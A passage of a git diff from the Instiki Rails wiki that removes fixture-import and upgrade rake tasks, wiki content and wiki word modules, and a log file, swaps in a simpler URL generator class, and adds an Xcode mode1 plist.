-namespace :db do
-  namespace :fixtures do
-    task :import_for_models => :environment do
-      models = ENV['MODELS']
-      ActiveRecord::Base.establish_connection
-      models.each do |model_name|
-        import_model_fixture(model_name)
-      end
-    end
-  end
-end
-
-
-desc 'use rake db:fixtures:import_for_tables TABLES=foos[,bars,lands] to import the YAML dump fixtures for a specific tables from data in an existing database. Defaults to development database. Set RAILS_ENV to override. '
-namespace :db do
-  namespace :fixtures do
-    task :import_for_tables => :environment do
-      tables = ENV['TABLES']
-      ActiveRecord::Base.establish_connection
-      tables.each do |table_name|
-        import_table_fixture(table_name)
-      end
-    end
-  end
-end
-
-desc 'use rake db:fixtures:import_all to import all YAML dump fixtures for all of the tables from data in an existing database. Defaults to development database. Set RAILS_ENV to override. '
-namespace :db do
-  namespace :fixtures do
-    task :import_all => :environment do
-      ActiveRecord::Base.establish_connection
-      Dir.glob(Rails.root.join('dump','fixtures',"*.yml")).each do |f|
-        table_name = f.gsub( Regexp.escape(Rails.root.join('dump','fixtures').to_s + File::SEPARATOR), '').gsub('.yml', '')
-         puts "Importing #{table_name}"
-        import_table_fixture(table_name)
-      end
-    end
-  end
-end
-
diff --git a/lib/tasks/upgrade_instiki.rake b/lib/tasks/upgrade_instiki.rake
deleted file mode 100644
index c77add8f..00000000
--- a/lib/tasks/upgrade_instiki.rake
+++ /dev/null
@@ -1,34 +0,0 @@
-require 'rake'
-
-desc "This task will perform necessary upgrades to your Instiki installation"
-task :upgrade_instiki => :environment do
-  ENV['RAILS_ENV'] ||= 'production'
-  puts "Upgrading Instiki in #{ENV['RAILS_ENV']} environment."
-
-  InstikiUpgrade.migrate_db
-  InstikiUpgrade.move_uploaded_files
-end
-
-class InstikiUpgrade
-
-  def self.migrate_db
-    ActiveRecord::Base.establish_connection ENV['RAILS_ENV']
-    Rake::Task["db:migrate"].invoke
-  end
-
-  def self.move_uploaded_files
-    Web.all.each do |web|
-      public_path = Rails.root.join("public", web.address)
-      if public_path.exist?
-        webs_path = Rails.root.join("webs", web.address)
-        if webs_path.exist?
-          puts "Warning! The directory #{webs_path} already exists. Skipping."
-        else
-          public_path.rename(webs_path)
-          puts "Moved #{public_path} to #{webs_path}"
-        end
-      end
-    end
-  end
-
-end
diff --git a/lib/url_generator.rb b/lib/url_generator.rb
index 5d4a7dff..4fd1ff93 100644
--- a/lib/url_generator.rb
+++ b/lib/url_generator.rb
@@ -1,201 +1,61 @@
-require 'instiki_stringsupport'
-
-class AbstractUrlGenerator
-
-  def initialize(controller)
-    raise 'Controller cannot be nil' if controller.nil?
-    @controller = controller
-  end
-
-  # Create a link for the given page (or file) name and link text based
-  # on the render mode in options and whether the page (file) exists
-  # in the web.
-  def make_link(current_web, asked_name, web, text = nil, options = {})
-    @web = current_web
-    mode = (options[:mode] || :show).to_sym
-    link_type = (options[:link_type] || :show).to_sym
-
-    if (link_type == :show)
-      page_exists = web.has_page?(asked_name)
-      known_page = page_exists || web.has_redirect_for?(asked_name)
-      if known_page && !page_exists
-        name = web.page_that_redirects_for(asked_name).name
-      else
-        name = asked_name
-      end
-    else
-      name = asked_name
-      known_page = web.has_file?(name)
-      description = web.description(name)
-      description = description.unescapeHTML.escapeHTML if description
-    end
-    if (text == asked_name)
-      text = description || text
-    else
-      text = text || description
-    end
-    text = (text || WikiWords.separate(asked_name)).unescapeHTML.escapeHTML
-    
-    case link_type
-    when :show
-      page_link(mode, name, text, web.address, known_page)
-    when :file
-      file_link(mode, name, text, web.address, known_page, description)
-    when :pic
-      pic_link(mode, name, text, web.address, known_page)
-    when :audio
-      media_link(mode, name, text, web.address, known_page, 'audio')
-    when :video
-      media_link(mode, name, text, web.address, known_page, 'video')
-    when :delete
-      delete_link(mode, name, web.address, known_page)
-    else
-      raise "Unknown link type: #{link_type}"
-    end
-  end
-
-  def url_for(hash = {})
-    @controller.url_for hash
-  end  
-end
-
-class UrlGenerator < AbstractUrlGenerator
-
-  private
-
-  def file_link(mode, name, text, web_address, known_file, description)
-    return bad_filename(name) unless WikiFile.is_valid?(name) 
-    case mode
-    when :export
-      if known_file
-        %{<a class="existingWikiWord" title="#{description}" href="files/#{CGI.escape(name)}">#{text}</a>}
-      else 
-        %{<span class="newWikiWord">#{text}</span>}
-      end
-    when :publish
-      if known_file 
-        href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file',
-            :id => name, :only_path => true
-        %{<a class="existingWikiWord"  title="#{description}" href="#{href}">#{text}</a>}
-      else 
-        %{<span class="newWikiWord">#{text}</span>}
-      end
-    else 
-      href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file', 
-          :id => name, :only_path => true
-      if known_file
-        %{<a class="existingWikiWord"  title="#{description}" href="#{href}">#{text}</a>}
-      else 
-        %{<span class="newWikiWord">#{text}<a href="#{href}">?</a></span>}
-      end
-    end
-  end
-
-  def page_link(mode, name, text, web_address, known_page)
-    case mode
-    when :export
-      if known_page 
-        %{<a class="existingWikiWord" href="#{CGI.escape(name)}.#{html_ext}">#{text}</a>}
-      else 
-        %{<span class="newWikiWord">#{text}</span>} 
-      end
-    when :publish
-      if known_page
-        wikilink_for(mode, name, text, web_address)
-      else 
-        %{<span class="newWikiWord">#{text}</span>} 
-      end
-    else 
-      if known_page
-        wikilink_for(mode, name, text, web_address)
-      else 
-        href = @controller.url_for :controller => 'wiki', :web => web_address, :action => 'new', 
-            :id => name, :only_path => true
-        %{<span class="newWikiWord">#{text}<a href="#{href}">?</a></span>}
-      end
-    end
-  end
-
-  def pic_link(mode, name, text, web_address, known_pic)
-    return bad_filename(name) unless WikiFile.is_valid?(name) 
-    href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file',
-      :id => name, :only_path => true
-    case mode
-    when :export
-      if known_pic 
-        %{<img alt="#{text}" src="files/#{CGI.escape(name)}" />}
-      else 
-        %{<img alt="#{text}" src="no image" />}
-      end
-    when :publish
-      if known_pic 
-        %{<img alt="#{text}" src="#{href}" />}
-      else 
-        %{<span class="newWikiWord">#{text}</span>} 
-      end
-    else 
-      if known_pic 
-        %{<img alt="#{text}" src="#{href}" />}
-      else 
-        %{<span class="newWikiWord">#{text}<a href="#{href}">?</a></span>} 
-      end
-    end
-  end
-
-  def media_link(mode, name, text, web_address, known_media, media_type)
-    return bad_filename(name) unless WikiFile.is_valid?(name) 
-    href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file',
-      :id => name, :only_path => true
-    case mode
-    when :export
-      if known_media 
-        %{<#{media_type} src="files/#{CGI.escape(name)}" controls="controls">#{text}</#{media_type}>}
-      else 
-        text
-      end
-    when :publish
-      if known_media
-        %{<#{media_type} src="#{href}" controls="controls">#{text}</#{media_type}>}
-      else 
-        %{<span class="newWikiWord">#{text}</span>} 
-      end
-    else 
-      if known_media 
-        %{<#{media_type} src="#{href}" controls="controls">#{text}</#{media_type}>}
-      else 
-        %{<span class="newWikiWord">#{text}<a href="#{href}">?</a></span>} 
-      end
-    end
-  end
-
-  def delete_link(mode, name, web_address, known_file)
-    href = @controller.url_for :controller => 'file', :web => web_address,
-        :action => 'delete', :id => name, :only_oath => true
-    if mode == :show and known_file
-      %{<span class="deleteWikiWord"><a href="#{href}">Delete #{name}</a></span>}
-    else 
-      %{<span class="deleteWikiWord">[[#{name}:delete]]</span>}
-    end
-  end
-
-  private
-
-    def bad_filename(name)
-      "<span class='badWikiWord'>[[invalid filename: #{name}]]</span>"
-    end
-
-    def wikilink_for(mode, name, text, web_address)
-      web = Web.find_by_address(web_address)
-      action = web.published? && (web != @web || [:publish, :s5].include?(mode) ) ? 'published' : 'show'
-      href = @controller.url_for :controller => 'wiki', :web => web_address, :action => action, 
-            :id => name, :only_path => true
-      title = web == @web ? '' : %{ title="#{web_address}"}
-      %{<a class="existingWikiWord" href="#{href}"#{title}>#{text}</a>}
-    end
-    
-    def html_ext
-      @html_ext ||= @controller.method(:html_ext).call
-      # Why method().call ? A Ruby 1.9.2preview1 bug:
-      # http://redmine.ruby-lang.org/issues/show/1802
-    end
-end
+class UrlGenerator
+
+  def initialize(controller = nil)
+    @controller = controller or ControllerStub.new
+  end
+
+  def make_file_link(mode, name, text, base_url, known_file)
+    link = CGI.escape(name)
+    case mode
+    when :export
+      if known_file then "<a class=\"existingWikiWord\" href=\"#{link}.html\">#{text}</a>"
+      else "<span class=\"newWikiWord\">#{text}</span>" end
+    when :publish
+      if known_file then "<a class=\"existingWikiWord\" href=\"#{base_url}/published/#{link}\">#{text}</a>"
+      else "<span class=\"newWikiWord\">#{text}</span>" end
+    else 
+      if known_file
+        "<a class=\"existingWikiWord\" href=\"#{base_url}/file/#{link}\">#{text}</a>"
+      else 
+        "<span class=\"newWikiWord\">#{text}<a href=\"#{base_url}/file/#{link}\">?</a></span>"
+      end
+    end
+  end
+
+  def make_page_link(mode, name, text, base_url, known_page)
+    link = CGI.escape(name)
+    case mode.to_sym
+    when :export
+      if known_page then %{<a class="existingWikiWord" href="#{link}.html">#{text}</a>}
+      else %{<span class="newWikiWord">#{text}</span>} end
+    when :publish
+      if known_page then %{<a class="existingWikiWord" href="#{base_url}/published/#{link}">#{text}</a>}
+      else %{<span class="newWikiWord">#{text}</span>} end
+    else 
+      if known_page
+        %{<a class="existingWikiWord" href="#{base_url}/show/#{link}">#{text}</a>}
+      else 
+        %{<span class="newWikiWord">#{text}<a href="#{base_url}/show/#{link}">?</a></span>}
+      end
+    end
+  end
+
+  def make_pic_link(mode, name, text, base_url, known_pic)
+    link = CGI.escape(name)
+    case mode.to_sym
+    when :export
+      if known_pic then %{<img alt="#{text}" src="#{link}" />}
+      else %{<img alt="#{text}" src="no image" />} end
+    when :publish
+      if known_pic then %{<img alt="#{text}" src="#{link}" />}
+      else %{<span class="newWikiWord">#{text}</span>} end
+    else 
+      if known_pic then %{<img alt="#{text}" src="#{base_url}/pic/#{link}" />}
+      else %{<span class="newWikiWord">#{text}<a href="#{base_url}/pic/#{link}">?</a></span>} end
+    end
+  end
+
+end
+
+class ControllerStub
+end
\ No newline at end of file
diff --git a/lib/wiki_content.rb b/lib/wiki_content.rb
deleted file mode 100644
index 6c5fc7e5..00000000
--- a/lib/wiki_content.rb
+++ /dev/null
@@ -1,232 +0,0 @@
-require 'cgi'
-require 'chunks/engines'
-require 'chunks/category'
-require_dependency 'chunks/include'
-require_dependency 'chunks/redirect'
-require_dependency 'chunks/wiki'
-require_dependency 'chunks/literal'
-require 'chunks/nowiki'
-require 'sanitizer'
-require 'instiki_stringsupport'
-require 'set'
-
-
-# Wiki content is just a string that can process itself with a chain of
-# actions. The actions can modify wiki content so that certain parts of
-# it are protected from being rendered by later actions.
-#
-# When wiki content is rendered, it can be interrogated to find out
-# which chunks were rendered. This means things like categories, wiki
-# links, can be determined.
-#
-# Exactly how wiki content is rendered is determined by a number of
-# settings that are optionally passed in to a constructor. The current
-# options are:
-#  * :engine
-#    => The structural markup engine to use (Textile, Markdown, RDoc)
-#  * :engine_opts
-#    => A list of options to pass to the markup engines (safe modes, etc)
-#  * :pre_engine_actions
-#    => A list of render actions or chunks to be processed before the
-#       markup engine is applied. By default this is:
-#       Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word
-#  * :post_engine_actions
-#    => A list of render actions or chunks to apply after the markup
-#       engine. By default these are:
-#       Literal::Pre, Literal::Tags
-#  * :mode
-#    => How should the content be rendered? For normal display (show),
-#       publishing (:publish) or export (:export)?
-
-module ChunkManager
-  attr_reader :chunks_by_type, :chunks_by_id, :chunks, :chunk_id
-
-  ACTIVE_CHUNKS = [ NoWiki, Category, Redirect, WikiChunk::Link,
-                    WikiChunk::Word ]
-
-  HIDE_CHUNKS = [ Literal::Pre, Literal::Tags, Literal::Math ]
-
-  MASK_RE = {
-    ACTIVE_CHUNKS => Chunk::Abstract.mask_re(ACTIVE_CHUNKS),
-    HIDE_CHUNKS => Chunk::Abstract.mask_re(HIDE_CHUNKS)
-  }
-
-  def init_chunk_manager
-    @chunks_by_type = Hash.new
-    Chunk::Abstract::derivatives.each{|chunk_type|
-      @chunks_by_type[chunk_type] = Set.new
-    }
-    @chunks_by_id = Hash.new
-    @chunks = Set.new
-    @chunk_id = 0
-  end
-
-  def add_chunk(c)
-      @chunks_by_type[c.class] << c
-      @chunks_by_id[c.object_id] = c
-      @chunks << c
-      @chunk_id += 1
-  end
-
-  def delete_chunk(c)
-    @chunks_by_type[c.class].delete(c)
-    @chunks_by_id.delete(c.object_id)
-    @chunks.delete(c)
-  end
-
-  def merge_chunks(other)
-    other.chunks.each{|c| add_chunk(c)}
-  end
-
-  def scan_chunkid(text)
-    text.scan(MASK_RE[ACTIVE_CHUNKS]){|a| yield a[0] }
-  end
-
-  def find_chunks(chunk_type)
-    @chunks.select { |chunk| chunk.kind_of?(chunk_type) and chunk.rendered? }
-  end
-
-end
-
-# A simplified version of WikiContent. Useful to avoid recursion problems in
-# WikiContent.new
-class WikiContentStub < String
-
-  attr_reader :web, :options
-  include ChunkManager
-
-  def initialize(content, web, options)
-    super(content)
-    @web = web
-    @options = options
-    init_chunk_manager
-  end
-
-  # Detects the mask strings contained in the text of chunks of type chunk_types
-  # and yields the corresponding chunk ids
-  # example: content = "chunk123categorychunk <pre>chunk456categorychunk</pre>"
-  # inside_chunks(Literal::Pre) ==> yield 456
-  def inside_chunks(chunk_types)
-    chunk_types.each{|chunk_type|  chunk_type.apply_to(self) }
-
-    chunk_types.each{|chunk_type| @chunks_by_type[chunk_type].each{|hide_chunk|
-        scan_chunkid(hide_chunk.text){|id| yield id }
-      }
-    }
-  end
-end
-
-class WikiContent < ActiveSupport::SafeBuffer
-
-  include ChunkManager
-  include Sanitizer
-
-  DEFAULT_OPTS = {
-    :active_chunks       => ACTIVE_CHUNKS,
-    :hide_chunks         => HIDE_CHUNKS,
-    :engine              => Engines::MarkdownMML,
-    :engine_opts         => [],
-    :mode                => :show
-  }.freeze
-
-  attr_reader :web, :options, :revision, :not_rendered, :pre_rendered, :url_generator
-
-  # Create a new wiki content string from the given one.
-  # The options are explained at the top of this file.
-  def initialize(revision, url_generator, options = {})
-    @revision = revision
-    @url_generator = url_generator
-    @web = @revision.page.web
-
-    @options = DEFAULT_OPTS.dup.merge(options)
-    @options[:engine] = Engines::MAP[@web.markup]
-    @options[:engine_opts] = [:filter_html, :filter_styles] if @web.safe_mode?
-    @options[:active_chunks] = (ACTIVE_CHUNKS - [WikiChunk::Word] ) if @web.brackets_only?
-    @options[:hide_chunks] = (HIDE_CHUNKS - [Literal::Math] ) unless
-                  [Engines::MarkdownMML, Engines::MarkdownPNG].include?(@options[:engine])
-    if @options[:engine] == Engines::MarkdownPNG
-      @options[:png_url] =
-         @options[:mode] == :export ? 'files/pngs/' :
-           (@url_generator.url_for :controller => 'file', :web => @web.address, 
-             :action => 'file', :id => 'pngs', :only_path => true) + '/'
-    end
-
-    @not_rendered = @pre_rendered = nil
-
-    super(@revision.content)
-    init_chunk_manager
-    build_chunks
-    @not_rendered = String.new(self)
-  end
-
-  # Call @web.page_link using current options.
-  def page_link(web_name, name, text, link_type)
-    web = Web.find_by_name(web_name) || Web.find_by_address(web_name) || @web
-    @options[:link_type] = (link_type || :show)
-    @url_generator.make_link(@web, name, web, text, @options)
-  end
-
-  def build_chunks
-    # create and mask Includes and "active_chunks" chunks
-    NoWiki.apply_to(self) if @options[:active_chunks].include?(NoWiki)
-    Include.apply_to(self)
-    @options[:active_chunks].each{|chunk_type| chunk_type.apply_to(self) unless chunk_type == NoWiki}
-
-    # Handle hiding contexts like "pre" and "code" etc..
-    # The markup (textile, rdoc etc) can produce such contexts with its own syntax.
-    # To reveal them, we work on a copy of the content.
-    # The copy is rendered and used to detect the chunks that are inside protecting context
-    # These chunks are reverted on the original content string.
-
-    copy = WikiContentStub.new(self, @web, @options)
-    @options[:engine].apply_to(copy)
-
-    copy.inside_chunks(@options[:hide_chunks]) do |id|
-      @chunks_by_id[id.to_i].revert if @chunks_by_id[id.to_i]
-    end
-  end
-
-  def delete_chunks!(types)
-    types.each do |t|
-      @chunks_by_type[t].each do |c|
-        @pre_rendered.sub!(c.mask, '') if @pre_rendered
-        @chunks.delete(c)
-      end
-    end
-    self
-  end
-
-  def pre_render!
-    unless @pre_rendered
-      @chunks_by_type[Include].each{|chunk| chunk.unmask }
-      @pre_rendered = String.new(self)
-    end
-    @pre_rendered
-  end
-
-  def render!
-    pre_render!
-    @options[:engine].apply_to(self)
-    as_utf8
-    # unmask in one go. $~[1] is the chunk id
-    text = self.to_str
-    text.gsub!(MASK_RE[ACTIVE_CHUNKS]) do
-      chunk = @chunks_by_id[$~[1].to_i]
-      if chunk.nil?
-        # if we match a chunkmask that existed in the original content string
-        # just keep it as it is
-        $~[0]
-      else
-        chunk.unmask_text
-      end
-    end
-    self.replace xhtml_sanitize(text)
-    self.html_safe
-  end
-
-  def page_name
-    @revision.page.name
-  end
-
-end
-
diff --git a/lib/wiki_words.rb b/lib/wiki_words.rb
deleted file mode 100644
index 3839c381..00000000
--- a/lib/wiki_words.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-#coding: utf-8
-# Contains all the methods for finding and replacing wiki words
-
-require 'instiki_stringsupport'
-
-module WikiWords
-  # In order of appearance: Latin, greek, cyrillic, armenian
-  I18N_HIGHER_CASE_LETTERS =
-    "ÀÁÂÃÄÅĀĄĂÆÇĆČĈĊĎĐÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌÍÎÏĪĨĬĮİIJĴĶŁĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌŐŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴŶŸȲÝŹŽŻ" + 
-    "ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩ" + 
-    "ЀЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎҐҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾӀӁӃӅӇӉӋӍӐӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӶӸӺӼӾԀԂԄԆԈԊԌԎԐԒԔԖԘԚԜԞԠԢ" +
-    "ԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀՁՂՃՄՅՆՇՈՉՊՋՌՍՎՏՐՑՒՓՔՕՖ"
-
-  I18N_LOWER_CASE_LETTERS =
-    "àáâãäåāąăæçćĉċčďđèéêëēęěĕėƒĝğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöøōŏőœŕřŗśŝšşșťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſð" +
-    "άέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώΐ" +
-    "абвгдежзийклмнопрстуфхцчшщъыьэюяѐёђѓєѕіїјљњћќѝўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿҁҋҍҏґғҕҗҙқҝҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӂӄӆӈӊӌӎӏӑӓӕӗәӛӝӟӡӣӥӧөӫӭӯӱӳӵӷӹӻӽӿԁԃԅԇԉԋԍԏԑԓԕԗԙԛԝԟԡԣ" +
-     "աբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտրցւփքօֆև"
-
-  WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + ']+[a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + 
-    '][A-Za-z0-9_' + I18N_HIGHER_CASE_LETTERS +  I18N_LOWER_CASE_LETTERS + ']+'
-  CAMEL_CASED_WORD_BORDER = /([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u
-
-  def self.separate(wiki_word)
-    wiki_word.dup.as_utf8.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2')
-  end
-
-end
diff --git a/log/production.log b/log/production.log
deleted file mode 100644
index a557a782..00000000
--- a/log/production.log
+++ /dev/null
@@ -1,5 +0,0 @@
-# Logfile created on Mon Jan 22 07:45:04 CST 2007 by logger.rb/1.5.2.7
-Migrating to Beta1Schema (1)
-Migrating to Beta2ChangesBulk (2)
-Migrating to Beta1Schema (1)
-Migrating to Beta2ChangesBulk (2)
diff --git a/natives/osx/desktop_launcher/Instiki.xcode/ok.mode1 b/natives/osx/desktop_launcher/Instiki.xcode/ok.mode1
new file mode 100644
index 00000000..6be24a22
--- /dev/null
+++ b/natives/osx/desktop_launcher/Instiki.xcode/ok.mode1
@@ -0,0 +1,1279 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>ActivePerspectiveName</key>
+	<string>Project</string>
+	<key>AllowedModules</key>
+	<array>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>PBXSmartGroupTreeModule</string>
+			<key>Name</key>
+			<string>Groups and Files Outline View</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>PBXNavigatorGroup</string>
+			<key>Name</key>
+			<string>Editor</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>XCTaskListModule</string>
+			<key>Name</key>
+			<string>Task List</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>XCDetailModule</string>
+			<key>Name</key>
+			<string>File and Smart Group Detail Viewer</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>1</string>
+			<key>Module</key>
+			<string>PBXBuildResultsModule</string>
+			<key>Name</key>
+			<string>Detailed Build Results Viewer</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>1</string>
+			<key>Module</key>
+			<string>PBXProjectFindModule</string>
+			<key>Name</key>
+			<string>Project Batch Find Tool</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>PBXRunSessionModule</string>
+			<key>Name</key>
+			<string>Run Log</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>PBXBookmarksModule</string>
+			<key>Name</key>
+			<string>Bookmarks Tool</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>PBXClassBrowserModule</string>
+			<key>Name</key>
+			<string>Class Browser</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>PBXCVSModule</string>
+			<key>Name</key>
+			<string>Source Code Control Tool</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>PBXDebugBreakpointsModule</string>
+			<key>Name</key>
+			<string>Debug Breakpoints Tool</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>XCDockableInspector</string>
+			<key>Name</key>
+			<string>Inspector</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>n</string>
+			<key>Module</key>
+			<string>PBXOpenQuicklyModule</string>
+			<key>Name</key>
+			<string>Open Quickly Tool</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>1</string>
+			<key>Module</key>
+			<string>PBXDebugSessionModule</string>
+			<key>Name</key>
+			<string>Debugger</string>
+		</dict>
+		<dict>
+			<key>BundleLoadPath</key>
+			<string></string>
+			<key>MaxInstances</key>
+			<string>1</string>
+			<key>Module</key>
+			<string>PBXDebugCLIModule</string>
+			<key>Name</key>
+			<string>Debug Console</string>
+		</dict>
+	</array>
+	<key>Description</key>
+	<string>DefaultDescriptionKey</string>
+	<key>DockingSystemVisible</key>
+	<false/>
+	<key>Extension</key>
+	<string>mode1</string>
+	<key>FavBarConfig</key>
+	<dict>
+		<key>PBXProjectModuleGUID</key>
+		<string>4F32CD8F089CC7BC003CF12F</string>
+		<key>XCBarModuleItemNames</key>
+		<dict/>
+		<key>XCBarModuleItems</key>
+		<array/>
+	</dict>
+	<key>FirstTimeWindowDisplayed</key>
+	<false/>
+	<key>Identifier</key>
+	<string>com.apple.perspectives.project.mode1</string>
+	<key>MajorVersion</key>
+	<integer>31</integer>
+	<key>MinorVersion</key>
+	<integer>1</integer>
+	<key>Name</key>
+	<string>Default</string>
+	<key>Notifications</key>
+	<array/>
+	<key>OpenEditors</key>
+	<array>
+		<dict>
+			<key>Content</key>
+			<dict>
+				<key>PBXProjectModuleGUID</key>
+				<string>4FCAF058089D096D0001C11B</string>
+				<key>PBXProjectModuleLabel</key>
+				<string>AppDelegate.mm</string>
+				<key>PBXSplitModuleInNavigatorKey</key>
+				<dict>
+					<key>Split0</key>
+					<dict>
+						<key>PBXProjectModuleGUID</key>
+						<string>4FCAF059089D096D0001C11B</string>
+						<key>PBXProjectModuleLabel</key>
+						<string>AppDelegate.mm</string>
+						<key>_historyCapacity</key>
+						<integer>0</integer>
+						<key>bookmark</key>
+						<string>4FCAF05A089D096D0001C11B</string>
+						<key>history</key>
+						<array>
+							<string>4FCAF055089CE9E40001C11B</string>
+						</array>
+					</dict>
+					<key>SplitCount</key>
+					<string>1</string>
+				</dict>
+				<key>StatusBarVisibility</key>
+				<true/>
+			</dict>
+			<key>Geometry</key>
+			<dict>
+				<key>Frame</key>
+				<string>{{0, 20}, {750, 461}}</string>
+				<key>PBXModuleWindowStatusBarHidden2</key>
+				<false/>
+				<key>RubberWindowFrame</key>
+				<string>265 204 750 502 0 0 1024 746 </string>
+			</dict>
+		</dict>
+	</array>
+	<key>PerspectiveWidths</key>
+	<array>
+		<integer>-1</integer>
+		<integer>-1</integer>
+	</array>
+	<key>Perspectives</key>
+	<array>
+		<dict>
+			<key>ChosenToolbarItems</key>
+			<array>
+				<string>active-target-popup</string>
+				<string>action</string>
+				<string>NSToolbarFlexibleSpaceItem</string>
+				<string>buildOrClean</string>
+				<string>build-and-runOrDebug</string>
+				<string>com.apple.ide.PBXToolbarStopButton</string>
+				<string>get-info</string>
+				<string>toggle-editor</string>
+				<string>NSToolbarFlexibleSpaceItem</string>
+				<string>com.apple.pbx.toolbar.searchfield</string>
+			</array>
+			<key>ControllerClassBaseName</key>
+			<string></string>
+			<key>IconName</key>
+			<string>WindowOfProjectWithEditor</string>
+			<key>Identifier</key>
+			<string>perspective.project</string>
+			<key>IsVertical</key>
+			<false/>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>BecomeActive</key>
+					<true/>
+					<key>ContentConfiguration</key>
+					<dict>
+						<key>PBXBottomSmartGroupGIDs</key>
+						<array>
+							<string>1C37FBAC04509CD000000102</string>
+							<string>1C37FAAC04509CD000000102</string>
+							<string>1C08E77C0454961000C914BD</string>
+							<string>1C37FABC05509CD000000102</string>
+							<string>1C37FABC05539CD112110102</string>
+							<string>E2644B35053B69B200211256</string>
+							<string>1C37FABC04509CD000100104</string>
+							<string>1CC0EA4004350EF90044410B</string>
+							<string>1CC0EA4004350EF90041110B</string>
+						</array>
+						<key>PBXProjectModuleGUID</key>
+						<string>1CE0B1FE06471DED0097A5F4</string>
+						<key>PBXProjectModuleLabel</key>
+						<string>Files</string>
+						<key>PBXProjectStructureProvided</key>
+						<string>yes</string>
+						<key>PBXSmartGroupTreeModuleColumnData</key>
+						<dict>
+							<key>PBXSmartGroupTreeModuleColumnWidthsKey</key>
+							<array>
+								<real>186</real>
+							</array>
+							<key>PBXSmartGroupTreeModuleColumnsKey_v4</key>
+							<array>
+								<string>MainColumn</string>
+							</array>
+						</dict>
+						<key>PBXSmartGroupTreeModuleOutlineStateKey_v7</key>
+						<dict>
+							<key>PBXSmartGroupTreeModuleOutlineStateExpansionKey</key>
+							<array>
+								<string>29B97314FDCFA39411CA2CEA</string>
+								<string>080E96DDFE201D6D7F000001</string>
+								<string>29B97317FDCFA39411CA2CEA</string>
+								<string>17BF6FD9067536EB003F37D6</string>
+								<string>19C28FACFE9D520D11CA2CBB</string>
+								<string>1C37FBAC04509CD000000102</string>
+								<string>1C37FAAC04509CD000000102</string>
+								<string>1CC0EA4004350EF90041110B</string>
+							</array>
+							<key>PBXSmartGroupTreeModuleOutlineStateSelectionKey</key>
+							<array>
+								<array>
+									<integer>2</integer>
+									<integer>1</integer>
+									<integer>0</integer>
+								</array>
+							</array>
+							<key>PBXSmartGroupTreeModuleOutlineStateVisibleRectKey</key>
+							<string>{{0, 0}, {186, 338}}</string>
+						</dict>
+						<key>PBXTopSmartGroupGIDs</key>
+						<array/>
+						<key>XCIncludePerspectivesSwitch</key>
+						<true/>
+						<key>XCSharingToken</key>
+						<string>com.apple.Xcode.GFSharingToken</string>
+					</dict>
+					<key>GeometryConfiguration</key>
+					<dict>
